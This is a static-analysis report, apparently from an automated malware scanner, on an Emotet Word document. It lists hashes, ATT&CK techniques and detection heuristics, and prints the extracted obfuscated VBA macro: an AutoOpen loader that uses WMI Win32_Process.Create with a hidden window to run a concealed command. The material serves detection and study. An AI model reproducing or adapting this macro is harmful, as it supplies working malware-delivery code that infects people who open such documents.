Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ff7bb28da6878c1d…

MALICIOUS

Office (OLE)

128.0 KB Created: 2019-05-20 12:33:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 976eb5bc260722e931627f19da84c9d6 SHA-1: 7cf8b6f3623c4b83f1d7937eb4b3c4336e9bd7b0 SHA-256: ff7bb28da6878c1d0bb3a72782d355fd917c7df53638fc995f7528d8a65da5ac
342 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

This document contains a critical obfuscated auto-executing VBA loader, specifically an AutoOpen macro, which is a strong indicator of Emotet activity. The macro utilizes GetObject and CreateObject to launch Win32_Process, suggesting it's designed to download and execute a second-stage payload. The ClamAV detection further confirms its malicious nature as a downloader.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4227 bytes
SHA-256: 386dec58b4eb1bbf84757631583afb451ebcc331d3f647350651a8d0e066797a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "R_4445_"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "h530911, 0, 0, MSForms, TextBox"
Attribute VB_Control = "E76484, 1, 1, MSForms, TextBox"

Attribute VB_Name = "r_2546"
Sub R801013()
   Dim z381_68()
      ReDim z381_68(74314)
      z381_68(74124) = "214624839" + "74165788" + "987453789"
      z381_68(74133) = "181788110" + "825217379"
      z381_68(74251) = "73071927" + "288714433"
      z381_68(74144) = "237069750" + "298017020" + "951274001"
      z381_68(74229) = "380866788" + "905359723"
      z381_68(74171) = "670025884" + "949931258"
   Dim H601_08()
      ReDim H601_08(22219)
      H601_08(22099) = "173693832" + "802755302" + "62924632"
      H601_08(22153) = "340735752" + "812736388"
      H601_08(22101) = "365444375" + "822538144"
      H601_08(22085) = "638793469" + "445420513" + "874846690"
      H601_08(22179) = "329917628" + "729919030"
      H601_08(22075) = "242006522" + "138899132"
End Sub
Sub _
autoopen( _
)
   Dim j98887()
      ReDim j98887(98171)
      j98887(97988) = "195263583" + "537378752" + "730668044"
      j98887(98029) = "440100793" + "808494225"
      j98887(98048) = "113579238" + "354672566"
      j98887(98022) = "247126527" + "802946232" + "787859622"
      j98887(98057) = "89173033" + "225081223"
      j98887(98093) = "945436713" + "921668318"
Y180039
   Dim A31469__()
      ReDim A31469__(46076)
      A31469__(45961) = "84869266" + "977580765" + "350023851"
      A31469__(46050) = "77110189" + "253051890"
      A31469__(45997) = "524319527" + "929600640"
      A31469__(45964) = "694814205" + "792578190" + "543835470"
      A31469__(46008) = "662092808" + "194618559"
      A31469__(45998) = "150406654" + "412410271"
End Sub
Sub Y180039()
   Dim U0596623()
      ReDim U0596623(92980)
      U0596623(92835) = "145304317" + "891025524" + "692330690"
      U0596623(92871) = "491092086" + "280639049"
      U0596623(92944) = "994834921" + "317872714"
      U0596623(92805) = "715766879" + "884856468" + "462268410"
      U0596623(92858) = "456958774" + "925217636"
      U0596623(92903) = "381613573" + "511144867"
Set f879827_ = GetObject(CStr("Winmgmt" + _
"s:Win32_ProcesSstartup"))
   Dim z534543()
      ReDim z534543(69933)
      z534543(69825) = "995916921" + "45552657" + "261652671"
      z534543(69847) = "961366975" + "899639491"
      z534543(69892) = "762345616" + "883084641"
      z534543(69843) = "790917520" + "495072387" + "56594784"
      z534543(69836) = "299027170" + "611337879"
      z534543(69823) = "180311562" + "433536949"
f879827_. _
ShowWindow = vbFalse - vbFalse
   Dim k_079193()
      ReDim k_079193(69933)
      k_079193(69825) = "796820816" + "634591141" + "70385688"
      k_079193(69847) = "646153954" + "563425469"
      k_079193(69892) = "578149405" + "289187241"
      k_079193(69843) = "851901599" + "436204997" + "706063804"
      k_079193(69836) = "232279466" + "864517765"
      k_079193(69823) = "150216124" + "334459469"
Set X5_8603 = GetObject(CStr("Winmgmt" + _
"s:Win32_ProcesS"))
   Dim w218211()
      ReDim w218211(17837)
      w218211(17699) = "400626162" + "906168427" + "791672515"
      w218211(17768) = "622598441" + "156401296"
      w218211(17642) = "100626145" + "576714932"
      w218211(17684) = "938446805" + "780046890" + "285424062"
      w218211(17786) = "63450615" + "444601547"
      w218211(17727) = "965241334" + "145319621"
X5_8603.Create B4_2950 + "po" + V628_57 + R_4445_.E76484 + R_4445_.h530911 + t845400, m86671, f879827_, j9386077
   Dim w2649950()
      ReDim w2649950(64741)
      w2649950(64672) = "601644385" + "986209348" + "917361990"
      w2649950(64589) = "103675078" + "856135736"
      w2649950(64589) = "785164352" + "699471033"
      w2649950(64624) = "103725912" + "369833650" + "729765064"
      w2649950(
... (truncated)